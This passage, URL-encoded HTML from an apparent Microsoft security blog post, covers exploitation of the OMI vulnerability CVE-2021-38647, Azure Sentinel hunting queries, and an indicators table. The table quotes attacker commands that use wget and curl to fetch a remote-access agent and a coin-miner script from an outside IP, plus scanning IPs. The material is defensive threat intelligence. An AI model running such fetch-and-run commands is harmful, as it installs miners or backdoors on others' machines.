F%3E%3C%2FSPAN%3E%3C%2FP%3E%0A%3CP%3E%3CSTRONG%3EWe%20tested%3C%2FSTRONG%3E%20the%20same%20in%20our%20lab%20environments%2C%20and%20we%20observed%20the%20same%20behavior%20which%20is%20shown%20below%3A%3C%2FP%3E%0A%3CP%3E%3CSPAN%20class%3D%22lia-inline-image-display-wrapper%20lia-image-align-inline%22%20image-alt%3D%22russmc_2-1632000577065.png%22%20style%3D%22width%3A%20999px%3B%22%3E%3CIMG%20src%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fimage%2Fserverpage%2Fimage-id%2F311326i5EFD48793B0893FF%2Fimage-size%2Flarge%3Fv%3Dv2%26amp%3Bpx%3D999%22%20role%3D%22button%22%20title%3D%22russmc_2-1632000577065.png%22%20alt%3D%22russmc_2-1632000577065.png%22%20%2F%3E%3C%2FSPAN%3E%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%3CSTRONG%3ELooking%20at%20the%20code%3C%2FSTRONG%3E%20behind%20the%20components%20of%20the%20RunAs%20providers%2C%20there%20are%20some%20references%20to%20it%3A%3C%2FP%3E%0A%3CP%3E%3CSPAN%20class%3D%22lia-inline-image-display-wrapper%20lia-image-align-inline%22%20image-alt%3D%22russmc_3-1632000577069.png%22%20style%3D%22width%3A%20999px%3B%22%3E%3CIMG%20src%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fimage%2Fserverpage%2Fimage-id%2F311329iEE7CAA9FEA650BA9%2Fimage-size%2Flarge%3Fv%3Dv2%26amp%3Bpx%3D999%22%20role%3D%22button%22%20title%3D%22russmc_3-1632000577069.png%22%20alt%3D%22russmc_3-1632000577069.png%22%20%2F%3E%3C%2FSPAN%3E%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%3CSTRONG%3EMore%20information%3C%2FSTRONG%3E%20about%20SCXcore%20is%20available%20here%3A%26nbsp%3B%3CA%20href%3D%22https%3A%2F%2Fgithub.com%2Fmicrosoft%2FSCXcore%22%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%3EGitHub%20-%20microsoft%2FSCXcore%3A%20System%20Center%20Cross%20Platform%20Provider%20for%20Operations%20Manager%3C%2FA%3E%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CH2%20id%3D%22toc-hId-1688647885%22%20id%3D%22toc-hId-1688649526%22%3EExecuting%20Code%20via%20ExecuteScript%3C%2FH2%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3ESimilarly%2C%20scripts%20can%20be%20run%20using%20the%20ExecuteScript%20provider.%20In%20this%20case%2C%20the%20body%20of%20the%20http%20request%20contains%20a%20reference%20to%20ExecuteScript.%26nbsp%3B%20In%20the%20below%20example%2C%20the%20command%20%E2%80%98id%E2%80%99%20is%20base64%20encoded%20to%20%E2%80%98aWQ%3D%E2%80%99%3A%3C%2FP%3E%0A%3CP%3E%3CSPAN%20class%3D%22lia-inline-image-display-wrapper%20lia-image-align-inline%22%20image-alt%3D%22russmc_4-1632000577071.png%22%20style%3D%22width%3A%20999px%3B%22%3E%3CIMG%20src%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fimage%2Fserverpage%2Fimage-id%2F311330i59B13BB9FE16FBD0%2Fimage-size%2Flarge%3Fv%3Dv2%26amp%3Bpx%3D999%22%20role%3D%22button%22%20title%3D%22russmc_4-1632000577071.png%22%20alt%3D%22russmc_4-1632000577071.png%22%20%2F%3E%3C%2FSPAN%3E%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3EIn%20this%20case%2C%20the%20script%20is%20passed%20into%20a%20temp%20directory%20which%20you%20can%20see%20in%20the%20execve%20logs.%20Look%20for%20a%20commandline%20similar%20to%20%3CEM%3E%2Fbin%2Fsh%20%2Fetc%2Fopt%2Fmicrosoft%2Fscx%2Fconf%2Ftmpdir%2Fscx*%3C%2FEM%3E.%20This%20command%20will%20still%20show%20as%20being%20run%20from%20the%20same%20%3CEM%3E%2Fvar%2Fopt%2Fmicrosoft%2Fscx%2Ftmp%3C%2FEM%3E%20current%20working%20directory.%3C%2FP%3E%0A%3CP%3EOf%20note%2C%20this%20is%20the%20method%20we%20have%20seen%20used%20with%20attackers%20attempting%20to%20install%20coin%20miners.%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%3CFONT%20size%3D%226%22%3EAzure%20Sentinel%20coverage%3C%2FFONT%3E%3C%2FP%3E%0A%3CP%3ERelevant%20security%20data%20required%20for%20understanding%20the%20impact%20of%20an%20attack%20is%20produced%20in%20multiple%20locations.%20Azure%20Sentinel%20has%20made%20it%20easy%20to%20collect%20the%20data%20from%20multiple%20data%20sources%20easily.%20This%20section%20of%20the%20post%20contains%20guidance%20and%20generic%20approaches%20to%20look%20for%20the%20OMI%20related%20activity%20in%20various%20data%20feeds%20that%20are%20available%20by%20default%20in%20Azure%20Sentinel%20or%20can%20be%20onboarded%20to%20Azure%20Sentinel.%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3ESome%20Azure%20products%2C%20such%20as%20Configuration%20Management%2C%20open%20an%20HTTP%2FS%20port%20(1270%2F5985%2F5986)%20listening%20for%20OMI.%20Attackers%20can%20exploit%20the%20vulnerability%20in%20OMI%20where%20these%20ports%20are%20open%20by%20sending%20a%20specially%20crafted%20message%20via%20HTTPS%20to%20port%20listening%20to%20OMI%20to%20gain%20initial%20access%20to%20the%20machine.%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3EThe%20Azure%20Sentinel%20query%20linked%20below%20tries%20to%20identify%20connection%20attempts%20from%20the%20external%20IP%20addresses%20to%20the%20OMI%20management%20ports%20(5985%2C5986%2C1270).%20The%20query%20primarily%20leverages%20the%20Network%20Session%20normalization%20schema%20(imNetworkSession)%26nbsp%3B%20as%20well%20as%20a%20few%20other%20logs%20to%20look%20for%20this%20network%20connection%20activity%20from%20an%20external%20IP%20address.%20Where%20available%2C%20it%20tries%20to%20restrict%20the%20results%20to%20the%20relevant%20OMI%20process.%20The%20results%20can%20sometimes%20be%20noisy%3B%20hence%20the%20query%20has%20been%20shipped%20as%20a%20hunting%20query.%3C%2FP%3E%0A%3CP%3ENormalizing%20parsers%20for%20leveraging%20the%20imNetworkSession%20normalized%20schema%20are%20required%20for%20this%20query%20to%20work%20and%20can%20be%20deployed%20in%20a%20click%20using%20an%20%3CA%20href%3D%22https%3A%2F%2Fgithub.com%2FAzure%2FAzure-Sentinel%2Ftree%2Fmaster%2FParsers%2FASimNetworkSession%22%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%3EARM%20Template%3C%2FA%3E.%3C%2FP%3E%0A%3CTABLE%20border%3D%221%22%20width%3D%22100%25%22%3E%0A%3CTBODY%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22100%25%22%3E%3CA%20href%3D%22https%3A%2F%2Fgithub.com%2FAzure%2FAzure-Sentinel%2Fblob%2Fmaster%2FHunting%2520Queries%2FMultipleDataSources%2FNetworkConnectiontoOMIPorts.yaml%22%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%3EAzure-Sentinel%2FNetworkConnectiontoOMIPorts.yaml%20at%20master%20%C2%B7%20Azure%2FAzure-Sentinel%20%C2%B7%20GitHub%3C%2FA%3E%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3C%2FTBODY%3E%0A%3C%2FTABLE%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3ECustomers%20can%20also%20use%20Heartbeat%20logs%20that%20monitors%20agent%20health%20to%20find%20vulnerable%20machine.%20The%20Azure%20Sentinel%20query%20linked%20below%20tries%20to%20leverage%20Heartbeat%20data%20to%20find%20OMS-agents%20that%20are%20reporting%20to%20the%20Azure%20Sentinel%20workspace%20but%20are%20not%20updated%20to%20the%20latest%20version%20that%20prevents%20this%20vulnerability.%3C%2FP%3E%0A%3CP%3E%3CFONT%20size%3D%222%22%20color%3D%22%23993300%22%3E%5Bupdated%20Sept%2027%2C%202021%5D%3C%2FFONT%3E%3C%2FP%3E%0A%3CTABLE%20border%3D%221%22%20width%3D%22100%25%22%3E%0A%3CTBODY%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22100%25%22%3E%3CA%20href%3D%22https%3A%2F%2Fgithub.com%2FAzure%2FAzure-Sentinel%2Fblob%2Fmaster%2FDetections%2FHeartbeat%2FOMI_vulnerability_detection.yaml%22%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%3EAzure-Sentinel%2FOMI_vulnerability_detection.yaml%20at%20master%20%C2%B7%20Azure%2FAzure-Sentinel%20(github.com)%3C%2FA%3E%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3C%2FTBODY%3E%0A%3C%2FTABLE%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3EAdditionally%2C%20Azure%20Security%20Center%20generates%20detailed%20security%20recommendations%20if%20there%20are%20vulnerable%20machines%20in%20an%20Azure%20Environment%20with%20OMI%20installed.%20With%20the%20%3CA%20href%3D%22https%3A%2F%2Fdocs.microsoft.com%2Fen-us%2Fazure%2Fsecurity-center%2Fcontinuous-export%3Ftabs%3Dazure-portal%22%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%3Econtinuous%20export%20feature%3C%2FA%3E%20of%20Security%20Center%2C%20these%20security%20recommendations%20can%20be%20imported%20into%20Azure%20Sentinel.%20Azure%20Sentinel%20leverages%20this%20data%20populated%20in%20Security%20Nested%20Recommendations%20table%20to%20build%20a%20detection%20query%20to%20show%20vulnerable%20machines.%3C%2FP%3E%0A%3CTABLE%20border%3D%221%22%20width%3D%22100%25%22%3E%0A%3CTBODY%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22100%25%22%3E%26nbsp%3B%3CA%20href%3D%22https%3A%2F%2Fgithub.com%2FAzure%2FAzure-Sentinel%2Fblob%2Fmaster%2FDetections%2FSecurityNestedRecommendation%2FOMIGODVulnerableMachines.yaml%22%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%3EAzure-Sentinel%2FOMIGODVulnerableMachines.yaml%20at%20master%20%C2%B7%20Azure%2FAzure-Sentinel%20%C2%B7%20GitHub%3C%2FA%3E%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3C%2FTBODY%3E%0A%3C%2FTABLE%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3EAzure%20Service%20Health%20has%20also%20sent%20notifications%20to%20potentially%20impacted%20customers.%20In%20the%20impacted%20environments%20where%20customers%20can%20run%20a%20quick%20query%20to%20check%20if%20they%20are%20impacted%20by%20this%20Vulnerability.%3C%2FP%3E%0A%3CTABLE%20border%3D%221%22%20width%3D%22100%25%22%3E%0A%3CTBODY%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22100%25%22%3E%3CP%3E%3CEM%3EAzureActivity%3CBR%20%2F%3E%7C%20where%20CategoryValue%20%3D%3D%20'ServiceHealth'%3CBR%20%2F%3E%7C%20where%20isnotempty(Properties)%20and%20Properties%20has%20'CVE-2021-38645'%3CBR%20%2F%3E%7C%20extend%20defaultLanguageTitle%20%3D%20tostring(parse_json(tostring(parse_json(Properties).eventProperties)).defaultLanguageTitle)%3C%2FEM%3E%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3C%2FTBODY%3E%0A%3C%2FTABLE%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CH1%20id%3D%22toc-hId-1678144781%22%20id%3D%22toc-hId-1678146422%22%3ESCX%20RunAs%20Provider%3C%2FH1%3E%0A%3CP%3E%3CFONT%20size%3D%222%22%20color%3D%22%23993300%22%3E%5Bupdated%20Sept%2024%2C%202021%5D%3C%2FFONT%3E%3C%2FP%3E%0A%3CP%3EThe%20below%20hunting%20query%20uses%20security%20events%20from%20the%20Microsoft%20Audit%20Collection%20Tool%20(AUOMS)%20collected%20via%20the%20Azure%20Sentinel%20Syslog%20%3CA%20href%3D%22https%3A%2F%2Fdocs.microsoft.com%2Fen-us%2Fazure%2Fsentinel%2Fconnect-syslog%22%20target%3D%22_self%22%20rel%3D%22noopener%20noreferrer%22%3Edata%20connector%3C%2FA%3E%20to%20explore%20the%20use%20of%20SCX%20Execute%20RunAs%20providers.%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CTABLE%20border%3D%221%22%20width%3D%22100%25%22%3E%0A%3CTBODY%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22100%25%22%3E%3CP%3E%3CA%20href%3D%22https%3A%2F%2Fgithub.com%2FAzure%2FAzure-Sentinel%2Fblob%2Fmaster%2FHunting%2520Queries%2FSyslog%2FSCXExecuteRunAsProviders.yml%22%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%3EAzure-Sentinel%2FSCXExecuteRunAsProviders.yml%20at%20master%20%C2%B7%20Azure%2FAzure-Sentinel%20(github.com)%3C%2FA%3E%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3C%2FTBODY%3E%0A%3C%2FTABLE%3E%0A%3CP%3E%3CBR%20%2F%3EExecute%20RunAs%20providers%20such%20as%20the%20ExecuteShellCommand%20and%20ExecuteScript%20can%20be%20used%20to%20execute%20any%20UNIX%2FLinux%20command%20and%20script%20respectively%20using%20the%20%2Fbin%2Fsh%20shell.%20Execution%20occurs%20from%20the%20%2Fvar%2Fopt%2Fmicrosoft%2Fscx%2Ftmp%20directory%20and%20depending%20on%20the%20execution%20RunAs%20provider%2C%20execution%20can%20be%20a%20command%20or%20a%20script.%20If%20the%20ExecuteScript%20RunAs%20provider%20is%20used%2C%20then%20the%20script%20file%20is%20created%20in%20the%20following%20directory%20%2Fbin%2Fsh%20%2Fetc%2Fopt%2Fmicrosoft%2Fscx%2Fconf%2Ftmpdir%2F%20with%20the%20prefix%20scx%20(e.g.%20scxzOy96).%20SCXcore%2C%20started%20as%20the%20Microsoft%20Operations%20Manager%20UNIX%2FLinux%20Agent%2C%20is%20now%20used%20in%20a%20host%20of%20products%20including%20Microsoft%20Operations%20Manager.%20Microsoft%20Azure%2C%20and%20Microsoft%20Operations%20Management%20Suite.%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%3CFONT%20size%3D%226%22%3EHunting%20cues%20and%20IOCs%3C%2FFONT%3E%3C%2FP%3E%0A%3CTABLE%3E%0A%3CTBODY%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22189%22%3E%3CP%3ECommon%20enumeration%20commands%20seen%3C%2FP%3E%0A%3C%2FTD%3E%0A%3CTD%20width%3D%22435%22%3E%3CP%3Euname%20-a%2C%20id%2C%20netstat%2C%20ps%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22189%22%3E%3CP%3EExploitation%20attempt%3C%2FP%3E%0A%3C%2FTD%3E%0A%3CTD%20width%3D%22435%22%3E%3CP%20data-unlink%3D%22true%22%3Ewget%20hxxps%3A%2F%2Fwww.dwservice.net%2Fdownload%2Fdwagent_generic.sh%26nbsp%3B%20-O%20dwagent_generic.sh%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22189%22%3E%3CP%3EExploitation%20attempt%3C%2FP%3E%0A%3C%2FTD%3E%0A%3CTD%20width%3D%22435%22%3E%3CP%20data-unlink%3D%22true%22%3Eecho%20curl%20hxxps%3A%2F%2Fwww.dwservice.net%2Fdownload%2Fdwagent_generic.sh%26nbsp%3B%20--output%20dw.sh%20%26gt%3B%20go.sh%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22189%22%3E%3CP%3EExploitation%20attempt%3C%2FP%3E%0A%3C%2FTD%3E%0A%3CTD%20width%3D%22435%22%3E%3CP%3Ecurl%20-fSsL%20hxxp%3A%2F%2F104.168.213.31%3A55879%2Fcoinlinux%2FrunMiner.sh%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22189%22%3E%3CP%3EScanning%20IPs%3C%2FP%3E%0A%3C%2FTD%3E%0A%3CTD%20width%3D%22435%22%3E%3CP%3E13.212.235.12%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22189%22%3E%3CP%3EScanning%20IPs%3C%2FP%3E%0A%3C%2FTD%3E%0A%3CTD%20width%3D%22435%22%3E%3CP%3E142.93.148.12%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22189%22%3E%3CP%3EScanning%20IPs%3C%2FP%3E%0A%3C%2FTD%3E%0A%3CTD%20width%3D%22435%22%3E%3CP%3E171.224.80.216%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22189%22%3E%3CP%3EScanning%20IPs%3C%2FP%3E%0A%3C%2FTD%3E%0A%3CTD%20width%3D%22435%22%3E%3CP%3E185.220.100.245%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22189%22%3E%3CP%3EScanning%20IPs%3C%2FP%3E%0A%3C%2FTD%3E%0A%3CTD%20width%3D%22435%22%3E%3CP%3E216.151.191.152%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22189%22%3E%3CP%3EScanning%20IPs%3C%2FP%3E%0A%3C%2FTD%3E%0A%3CTD%20width%3D%22435%22%3E%3CP%3E23.129.64.140%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22189%22%3E%3CP%3EScanning%20IPs%3C%2FP%3E%0A%3C%2FTD%3E%0A%3CTD%20width%3D%22435%22%3E%3CP%3E31.44.185.115%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22189%22%3E%3CP%3EScanning%20IPs%3C%2FP%3E%0A%3C%2FTD%3E%0A%3CTD%20width%3D%22435%22%3E%3CP%3E46.30.42.126%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22189%22%3E%3CP%3EScanning%20IPs%3C%2FP%3E%0A%3C%2FTD%3E%0A%3CTD%20width%3D%22435%22%3E%3CP%3E5.45.127.209%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22189%22%3E%3CP%3EScanning%20IPs%3C%2FP%3E%0A%3C%2FTD%3E%0A%3CTD%20width%3D%22435%22%3E%3CP%3E94.198.42.158%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3C%2FTBODY%3E%0A%3C%2FTABLE%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%3CFONT%20size%3D%226%22%3EReferences%3A%26nbsp%3B%3C%2FFONT%3E%3C%2FP%3E%0A%3CP%3E%3CSTRONG%3EMSRC%20communications%3A%3C%2FSTRONG%3E%3C%2FP%3E%0A%3CUL%3E%0A%3CLI%3E%3CA%20href%3D%22https%3A%2F%2Fmsrc.microsoft.com%2Fupdate-guide%2Fvulnerability%2FCVE-2021-38647%22%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%3ECVE-2021-38647%20-%20Security%20Update%20Guide%20-%20Microsoft%20-%20Open%20Management%20Infrastructure%20Remote%20Code%20Execution%20Vulnerability%3C%2FA%3E%3C%2FLI%3E%0A%3CLI%3E%3CA%20href%3D%22https%3A%2F%2Fmsrc-blog.microsoft.com%2F2021%2F09%2F16%2Fadditional-guidance-regarding-omi-vulnerabilities-within-azure-vm-management-extensions%2F%22%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%3EAdditional%20Guidance%20Regarding%20OMI%20Vulnerabilities%20within%20Azure%20VM%20Management%20Extensions%20%E2%80%93%20Microsoft%20Security%20Response%20Center%3C%2FA%3E%3C%2FLI%3E%0A%3C%2FUL%3E%0A%3CP%3E%3CSTRONG%3EAzure%20Security%20Center%20Guidance%3A%3C%2FSTRONG%3E%3C%2FP%3E%0A%3CUL%3E%0A%3CLI%3E%3CA%20href%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fazure-security-center%2Fusing-asc-to-find-machines-affected-by-omi-vulnerabilities-in%2Fba-p%2F2767240%22%20target%3D%22_blank%22%3EUsing%20ASC%20to%20find%26nbsp%3Bmachines%20affected%20by%20OMI%20vulnerabilities%20in%20Azure%20VM%20Management%20Extensions%20-%20Microsoft%20Tech%20Community%3C%2FA%3E%3C%2FLI%3E%0A%3C%2FUL%3E%0A%3CP%3E%3CSTRONG%3ESentinel%20Detections%3A%3C%2FSTRONG%3E%3C%2FP%3E%0A%3CUL%3E%0A%3CLI%3E%3CA%20href%3D%22https%3A%2F%2Fgithub.com%2FAzure%2FAzure-Sentinel%2Fblob%2Fmaster%2FHunting%2520Queries%2FMultipleDataSources%2FNetworkConnectiontoOMIPorts.yaml%22%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%3EAzure-Sentinel%2FNetworkConnectiontoOMIPorts.yaml%20at%20master%20%C2%B7%20Azure%2FAzure-Sentinel%20%C2%B7%20GitHub%3C%2FA%3E%3C%2FLI%3E%0A%3CLI%3E%3CA%20href%3D%22https%3A%2F%2Fgithub.com%2FAzure%2FAzure-Sentinel%2Fblob%2Fmaster%2FDetections%2FSecurityNestedRecommendation%2FOMIGODVulnerableMachines.yaml%22%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%3EAzure-Sentinel%2FOMIGODVulnerableMachines.yaml%20at%20master%20%C2%B7%20Azure%2FAzure-Sentinel%20%C2%B7%20GitHub%3C%2FA%3E%3C%2FLI%3E%0A%3CLI%3E%3CA%20href%3D%22https%3A%2F%2Fgithub.com%2FAzure%2FAzure-Sentinel%2Fblob%2Fmaster%2FHunting%2520Queries%2FSyslog%2FSCXExecuteRunAsProviders.yml%22%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%3EAzure-Sentinel%2FSCXExecuteRunAsProviders.yml%20at%20master%20%C2%B7%20Azure%2FAzure-Sentinel%20(github.com)%3C%2FA%3E%26nbsp%3B%3CFONT%20size%3D%222%22%20color%3D%22%23993300%22%3E%5Bupdated%20Sept%2024%2C%202021%5D%3C%2FFONT%3E%3C%2FLI%3E%0A%3C%2FUL%3E%0A%3CP%3E%3CSTRONG%3ESoftware%20and%20tools%3A%3C%2FSTRONG%3E%3C%2FP%3E%0A%3CUL%3E%0A%3CLI%3E%3CA%20href%3D%22https%3A%2F%2Fgithub.com%2Fmicrosoft%2FSCXcore%22%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%3EGitHub%20-%20microsoft%2FSCXcore%3A%20System%20Center%20Cross%20Platform%20Provider%20for%20Operations%20Manager%3C%2FA%3E%3C%2FLI%3E%0A%3CLI%3E%3CA%20href%3D%22https%3A%2F%2Fgithub.com%2Fmicrosoft%2FBuild-omi%22%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%3EGitHub%20-%20microsoft%2FBuild-omi%3A%20Build%20projects%20required%20for%20OMI%20(Open%20Management%20Infrastructure)%3C%2FA%3E%3C%2FLI%3E%0A%3C%2FUL%3E%0A%3CH3%20id%3D%22toc-hId-571754896%22%20id%3D%22toc-hId-571756537%22%3EResearch%20lab%20environments%3A%3C%2FH3%3E%0A%3CUL%3E%0A%3CLI%3E%3CA%20href%3D%22https%3A%2F%2Fgithub.com%2FOTRF%2FAzure-Sentinel2Go%2Ftree%2Fmaster%2Fgrocery-list%2FLinux%2Fdemos%2FCVE-2021-38647-OMI%22%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%3EAzure-Sentinel2Go%2Fgrocery-list%2FLinux%2Fdemos%2FCVE-2021-38647-OMI%20at%20master%20%C2%B7%20OTRF%2FAzure-Sentinel2Go%20(github.com)%3C%2FA%3E%3C%2FLI%3E%0A%3C%2FUL%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%3CSTRONG%3EPublic%20Discussion%20About%20Attacks%20in%20the%20wild%3A%3C%2FSTRONG%3E%3C%2FP%3E%0A%3CUL%3E%0A%3CLI%3E%3CA%20href%3D%22https%3A%2F%2Ftwitter.com%2Fchrisdoman%2Fstatus%2F1438865433130684419%22%20target%3D%22_blank%22%20rel%3D%22noopener%20nofollow%20noreferrer%22%3Echris%20doman%20on%20Twitter%3A%20%22%3Aloudspeaker%3AOMIGOD%20(CVE-2021-38647)%20is%20now%20under%20active%20exploitation%20%3Aloudspeaker%3A%20We%20took%20at%20a%20look%20at%20one%20of%20the%20first%20samples%20-%20yup%2C%20it's%20Mirai!%20If%20you're%20running%20Linux%20on%20Azure%2C%20check%20to%20see%20if%20OMI%20is%20installed%20https%3A%2F%2Ft.co%2Fo3nr82RgH1%20https%3A%2F%2Ft.co%2Fkbbt1T52d3%22%20%2F%20Twitter%3C%2FA%3E%3C%2FLI%3E%0A%3CLI%3E%3CA%20href%3D%22https%3A%2F%2Ftwitter.com%2FAndrew___Morris%2Fstatus%2F1438598477718622214%22%20target%3D%22_blank%22%20rel%3D%22noopener%20nofollow%20noreferrer%22%3EAndrew%20Morris%20on%20Twitter%3A%20%22The%20Azure%20%22OHMIGOD%22%20vulnerability%20(CVE-2021-38647)%20is%20increasing%20a%20good%20bit.%20~10%20IPs%20opportunistically%20exploiting%20the%20vuln%20across%20the%20internet%20this%20morning%2C%20~80%20now.%20Tags%20available%20to%20all%20GN%20users%20and%20customers%20now.%20GNQL%3A%20cve%3ACVE-2021-38647%20https%3A%2F%2Ft.co%2FsbdxJxzrEd%20https%3A%2F%2Ft.co%2F7dyU213Pl1%22%20%2F%20Twitter%3C%2FA%3E%3C%2FLI%3E%0A%3CLI%3E%3CA%20href%3D%22https%3A%2F%2Ftwitter.com%2FGossiTheDog%2Fstatus%2F1438932154889682952%22%20target%3D%22_blank%22%20rel%3D%22noopener%20nofollow%20noreferrer%22%3EKevin%20Beaumont%20on%20Twitter%3A%20%22Oh%20Mirai%20fixed%20their%20binary%2C%20it%20now%20supports%20proper%20OMIGOD%20exploitation.%20Given%20Mirai%20can%20enter%20networks%20and%20spread%20laterally%20via%20multiple%20vulns%2C%20this%20might%20be%20problematic.%20https%3A%2F%2Ft.co%2F8nXSEcMHYa%22%20%2F%20Twitter%3C%2FA%3E%3C%2FLI%3E%0A%3C%2FUL%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%3C%2FLINGO-BODY%3E%3CLINGO-TEASER%20id%3D%22lingo-teaser-2764093%22%20slang%3D%22en-US%22%3E%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%3CSPAN%20class%3D%22TextRun%20%20BCX8%20SCXW118247038%22%20data-contrast%3D%22auto%22%3E%3CSPAN%20class%3D%22NormalTextRun%20%20BCX8%20SCXW118247038%22%3E%3CSPAN%20class%3D%22lia-inline-image-display-wrapper%20lia-image-align-inline%22%20image-alt%3D%22nmap.png%22%20style%3D%22width%3A%20530px%3B%22%3E%3CIMG%20src%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fimage%2Fserverpage%2Fimage-id%2F311325i9C6C86694664A604%2Fimage-size%2Flarge%3Fv%3Dv2%26amp%3Bpx%3D999%22%20role%3D%22button%22%20title%3D%22nmap.png%22%20alt%3D%22nmap.png%22%20%2F%3E%3C%2FSPAN%3E%3C%2FSPAN%3E%3C%2FSPAN%3E%3C%2FP%3E%0A%3CP%3E%3CSPAN%20class%3D%22TextRun%20%20BCX8%20SCXW118247038%22%20data-contrast%3D%22auto%22%3E%3CSPAN%20class%3D%22NormalTextRun%20%20BCX8%20SCXW118247038%22%3EMicrosoft%20Threat%20Intelligence%20Center%3CSPAN%3E%26nbsp%3B%3C%2FSPAN%3E%3C%2FSPAN%3E%3CSPAN%20class%3D%22NormalTextRun%20%20BCX8%20SCXW118247038%22%3E(MSTIC)%3CSPAN%3E%26nbsp%3B%3C%2FSPAN%3E%3C%2FSPAN%3E%3C%2FSPAN%3E%3CSPAN%20class%3D%22TextRun%20%20BCX8%20SCXW118247038%22%20data-contrast%3D%22none%22%3E%3CSPAN%20class%3D%22NormalTextRun%20%20BCX8%20SCXW118247038%22%3Ehave%20been%3CSPAN%3E%26nbsp%3B%3C%2FSPAN%3E%3C%2FSPAN%3E%3CSPAN%20class%3D%22NormalTextRun%20%20BCX8%20SCXW118247038%22%3Emonitoring%20for%3C%2FSPAN%3E%3CSPAN%20class%3D%22NormalTextRun%20%20BCX8%20SCXW118247038%22%3E%3CSPAN%3E%26nbsp%3B%3C%2FSPAN%3Esigns%20of%20exploitation%20of%20the%20OMI%20vulnerability%20and%20investigating%20detections%20to%20further%20protect%20customers.%3C%2FSPAN%3E%3C%2FSPAN%3E%3C%2FP%3E%3C%2FLINGO-TEASER%3E%3CLINGO-LABS%20id%3D%22lingo-labs-2764093%22%20slang%3D%22en-US%22%3E%3CLINGO-LABEL%3EAzure%20Sentinel%3C%2FLINGO-LABEL%3E%3CLINGO-LABEL%3EHunting%3C%2FLINGO-L